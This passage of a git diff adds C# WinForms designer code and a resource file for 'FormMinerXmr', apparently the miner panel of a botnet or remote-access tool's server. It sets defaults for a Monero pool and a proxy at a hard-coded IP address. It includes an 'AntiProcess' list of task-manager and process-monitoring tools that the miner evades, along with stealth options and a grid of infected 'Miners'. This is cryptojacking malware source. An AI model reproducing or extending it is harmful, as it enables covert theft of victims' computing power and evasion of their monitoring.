Point(4, 79); + this.Pool.MaxLength = (int) short.MaxValue; + this.Pool.Name = "Pool"; + this.Pool.PasswordChar = char.MinValue; + this.Pool.ScrollBars = ScrollBars.None; + this.Pool.SelectedText = ""; + this.Pool.SelectionLength = 0; + this.Pool.SelectionStart = 0; + this.Pool.ShortcutsEnabled = true; + this.Pool.Size = new Size(386, 23); + this.Pool.Style = MetroColorStyle.Green; + this.Pool.TabIndex = 208 /*0xD0*/; + this.Pool.Text = "pool.hashvault.pro:443"; + this.Pool.Theme = MetroThemeStyle.Dark; + this.Pool.UseSelectable = true; + this.Pool.UseStyleColors = true; + this.Pool.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.Pool.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.AntiProcess.CustomButton.Image = (Image) null; + this.AntiProcess.CustomButton.Location = new Point(364, 1); + this.AntiProcess.CustomButton.Name = ""; + this.AntiProcess.CustomButton.Size = new Size(21, 21); + this.AntiProcess.CustomButton.Style = MetroColorStyle.Blue; + this.AntiProcess.CustomButton.TabIndex = 1; + this.AntiProcess.CustomButton.Theme = MetroThemeStyle.Light; + this.AntiProcess.CustomButton.UseSelectable = true; + this.AntiProcess.CustomButton.Visible = false; + this.AntiProcess.Lines = new string[1] + { + "Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe" + }; + this.AntiProcess.Location = new Point(3, 129); + this.AntiProcess.MaxLength = (int) short.MaxValue; + this.AntiProcess.Name = "AntiProcess"; + this.AntiProcess.PasswordChar = char.MinValue; + this.AntiProcess.ScrollBars = ScrollBars.None; + this.AntiProcess.SelectedText = ""; + this.AntiProcess.SelectionLength = 0; + this.AntiProcess.SelectionStart = 0; + this.AntiProcess.ShortcutsEnabled = true; + this.AntiProcess.Size = new Size(386, 23); + this.AntiProcess.Style = MetroColorStyle.Green; + this.AntiProcess.TabIndex = 209; + this.AntiProcess.Text = "Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe"; + this.AntiProcess.Theme = MetroThemeStyle.Dark; + this.AntiProcess.UseSelectable = true; + this.AntiProcess.UseStyleColors = true; + this.AntiProcess.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.AntiProcess.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.TimeOut.Interval = 25000; + this.TimeOut.Tick += new EventHandler(this.TimeOut_Tick); + this.Grid1.AllowUserToAddRows = false; + this.Grid1.AllowUserToDeleteRows = false; + this.Grid1.AllowUserToResizeColumns = false; + this.Grid1.AllowUserToResizeRows = false; + this.Grid1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.Grid1.BackgroundColor = Color.FromArgb(17, 17, 17); + this.Grid1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Grid1.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.Grid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle1.Alignment = DataGridViewContentAlignment.TopLeft; + gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.SelectionBackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.WrapMode = DataGridViewTriState.True; + this.Grid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1; + this.Grid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.Grid1.ContextMenuStrip = (ContextMenuStrip) this.metroContextMenu1; + this.Grid1.Cursor = Cursors.Default; + gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle2.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.WrapMode = DataGridViewTriState.False; + this.Grid1.DefaultCellStyle = gridViewCellStyle2; + this.Grid1.EnableHeadersVisualStyles = false; + this.Grid1.GridColor = Color.FromArgb(17, 17, 17); + this.Grid1.Location = new Point(34, 227); + this.Grid1.Name = "Grid1"; + this.Grid1.ReadOnly = true; + this.Grid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle3.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle3.Padding = new Padding(1, 0, 0, 0); + gridViewCellStyle3.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.WrapMode = DataGridViewTriState.True; + this.Grid1.RowHeadersDefaultCellStyle = gridViewCellStyle3; + this.Grid1.RowHeadersVisible = false; + this.Grid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.Grid1.ShowCellErrors = false; + this.Grid1.ShowCellToolTips = false; + this.Grid1.ShowEditingIcon = false; + this.Grid1.ShowRowErrors = false; + this.Grid1.Size = new Size(838, 272); + this.Grid1.TabIndex = 210; + this.Checker.Enabled = true; + this.Checker.Interval = 3000; + this.Checker.Tick += new EventHandler(this.Checker_Tick); + this.CheckDontGpu.AutoSize = true; + this.CheckDontGpu.Location = new Point(444, 161); + this.CheckDontGpu.Name = "CheckDontGpu"; + this.CheckDontGpu.Size = new Size(128 /*0x80*/, 15); + this.CheckDontGpu.Style = MetroColorStyle.Green; + this.CheckDontGpu.TabIndex = 211; + this.CheckDontGpu.Text = "Dont Mine user gpu"; + this.CheckDontGpu.Theme = MetroThemeStyle.Dark; + this.CheckDontGpu.UseSelectable = true; + this.CheckDontGpu.UseStyleColors = true; + this.CheckDontGpu.CheckedChanged += new EventHandler(this.CheckDontGpu_CheckedChanged); + this.metroCheckBoxGpu.AutoSize = true; + this.metroCheckBoxGpu.Checked = true; + this.metroCheckBoxGpu.CheckState = CheckState.Checked; + this.metroCheckBoxGpu.Location = new Point(444, 134); + this.metroCheckBoxGpu.Name = "metroCheckBoxGpu"; + this.metroCheckBoxGpu.Size = new Size(46, 15); + this.metroCheckBoxGpu.Style = MetroColorStyle.Green; + this.metroCheckBoxGpu.TabIndex = 212; + this.metroCheckBoxGpu.Text = "GPU"; + this.metroCheckBoxGpu.Theme = MetroThemeStyle.Dark; + this.metroCheckBoxGpu.UseSelectable = true; + this.metroCheckBoxGpu.UseStyleColors = true; + this.metroCheckBoxCpu.AutoSize = true; + this.metroCheckBoxCpu.Checked = true; + this.metroCheckBoxCpu.CheckState = CheckState.Checked; + this.metroCheckBoxCpu.Location = new Point(512 /*0x0200*/, 134); + this.metroCheckBoxCpu.Name = "metroCheckBoxCpu"; + this.metroCheckBoxCpu.Size = new Size(46, 15); + this.metroCheckBoxCpu.Style = MetroColorStyle.Green; + this.metroCheckBoxCpu.TabIndex = 213; + this.metroCheckBoxCpu.Text = "CPU"; + this.metroCheckBoxCpu.Theme = MetroThemeStyle.Dark; + this.metroCheckBoxCpu.UseSelectable = true; + this.metroCheckBoxCpu.UseStyleColors = true; + this.metroCheckBoxTls.AutoSize = true; + this.metroCheckBoxTls.Checked = true; + this.metroCheckBoxTls.CheckState = CheckState.Checked; + this.metroCheckBoxTls.Location = new Point(573, 134); + this.metroCheckBoxTls.Name = "metroCheckBoxTls"; + this.metroCheckBoxTls.Size = new Size(41, 15); + this.metroCheckBoxTls.Style = MetroColorStyle.Green; + this.metroCheckBoxTls.TabIndex = 214; + this.metroCheckBoxTls.Text = "TLS"; + this.metroCheckBoxTls.Theme = MetroThemeStyle.Dark; + this.metroCheckBoxTls.UseSelectable = true; + this.metroCheckBoxTls.UseStyleColors = true; + this.metroCheckBoxNicehash.AutoSize = true; + this.metroCheckBoxNicehash.Checked = true; + this.metroCheckBoxNicehash.CheckState = CheckState.Checked; + this.metroCheckBoxNicehash.Location = new Point(629, 134); + this.metroCheckBoxNicehash.Name = "metroCheckBoxNicehash"; + this.metroCheckBoxNicehash.Size = new Size(74, 15); + this.metroCheckBoxNicehash.Style = MetroColorStyle.Green; + this.metroCheckBoxNicehash.TabIndex = 215; + this.metroCheckBoxNicehash.Text = "NiceHash"; + this.metroCheckBoxNicehash.Theme = MetroThemeStyle.Dark; + this.metroCheckBoxNicehash.UseSelectable = true; + this.metroCheckBoxNicehash.UseStyleColors = true; + this.PoolMode.AutoSize = true; + this.PoolMode.Checked = true; + this.PoolMode.ForeColor = Color.SpringGreen; + this.PoolMode.Location = new Point(444, 85); + this.PoolMode.Name = "PoolMode"; + this.PoolMode.Size = new Size(76, 17); + this.PoolMode.TabIndex = 216; + this.PoolMode.TabStop = true; + this.PoolMode.Text = "Pool Mode"; + this.PoolMode.UseVisualStyleBackColor = true; + this.radioButton2.AutoSize = true; + this.radioButton2.ForeColor = Color.SpringGreen; + this.radioButton2.Location = new Point(444, 63 /*0x3F*/); + this.radioButton2.Name = "radioButton2"; + this.radioButton2.Size = new Size(69, 17); + this.radioButton2.TabIndex = 217; + this.radioButton2.Text = "XmrProxy"; + this.radioButton2.UseVisualStyleBackColor = true; + this.radioButton2.CheckedChanged += new EventHandler(this.radioButton2_CheckedChanged); + this.panel1.Controls.Add((Control) this.ProxyXmr); + this.panel1.Controls.Add((Control) this.Wallet); + this.panel1.Controls.Add((Control) this.metroLabel1); + this.panel1.Controls.Add((Control) this.metroLabel2); + this.panel1.Controls.Add((Control) this.AntiProcessCheck); + this.panel1.Controls.Add((Control) this.Pool); + this.panel1.Controls.Add((Control) this.AntiProcess); + this.panel1.Location = new Point(34, 63 /*0x3F*/); + this.panel1.Name = "panel1"; + this.panel1.Size = new Size(402, 158); + this.panel1.TabIndex = 218; + this.ProxyXmr.CustomButton.Image = (Image) null; + this.ProxyXmr.CustomButton.Location = new Point(364, 1); + this.ProxyXmr.CustomButton.Name = ""; + this.ProxyXmr.CustomButton.Size = new Size(21, 21); + this.ProxyXmr.CustomButton.Style = MetroColorStyle.Blue; + this.ProxyXmr.CustomButton.TabIndex = 1; + this.ProxyXmr.CustomButton.Theme = MetroThemeStyle.Light; + this.ProxyXmr.CustomButton.UseSelectable = true; + this.ProxyXmr.CustomButton.Visible = false; + this.ProxyXmr.Lines = new string[1] + { + "89.23.101.113:3333" + }; + this.ProxyXmr.Location = new Point(3, 25); + this.ProxyXmr.MaxLength = (int) short.MaxValue; + this.ProxyXmr.Name = "ProxyXmr"; + this.ProxyXmr.PasswordChar = char.MinValue; + this.ProxyXmr.ScrollBars = ScrollBars.None; + this.ProxyXmr.SelectedText = ""; + this.ProxyXmr.SelectionLength = 0; + this.ProxyXmr.SelectionStart = 0; + this.ProxyXmr.ShortcutsEnabled = true; + this.ProxyXmr.Size = new Size(386, 23); + this.ProxyXmr.Style = MetroColorStyle.Green; + this.ProxyXmr.TabIndex = 210; + this.ProxyXmr.Text = "89.23.101.113:3333"; + this.ProxyXmr.Theme = MetroThemeStyle.Dark; + this.ProxyXmr.UseSelectable = true; + this.ProxyXmr.UseStyleColors = true; + this.ProxyXmr.Visible = false; + this.ProxyXmr.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.ProxyXmr.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(898, 531); + this.Controls.Add((Control) this.panel1); + this.Controls.Add((Control) this.radioButton2); + this.Controls.Add((Control) this.PoolMode); + this.Controls.Add((Control) this.metroCheckBoxNicehash); + this.Controls.Add((Control) this.metroCheckBoxTls); + this.Controls.Add((Control) this.metroCheckBoxCpu); + this.Controls.Add((Control) this.metroCheckBoxGpu); + this.Controls.Add((Control) this.CheckDontGpu); + this.Controls.Add((Control) this.Grid1); + this.Controls.Add((Control) this.metroButton1); + this.Controls.Add((Control) this.metroLabel3); + this.Controls.Add((Control) this.numCpu); + this.Controls.Add((Control) this.Start); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Margin = new Padding(2); + this.Name = nameof (FormMinerXmr); + this.Padding = new Padding(15, 60, 15, 16 /*0x10*/); + this.Style = MetroColorStyle.Green; + this.Text = "Miner Xmr Miners [0] Selected[0]"; + this.Theme = MetroThemeStyle.Dark; + this.FormClosing += new FormClosingEventHandler(this.FormXmr_FormClosing); + this.Load += new EventHandler(this.FormMinerXmr_Load); + this.numCpu.EndInit(); + this.metroContextMenu1.ResumeLayout(false); + ((ISupportInitialize) this.Grid1).EndInit(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormMinerXmr.resx b/Server/Server/Forms/FormMinerXmr.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormMinerXmr.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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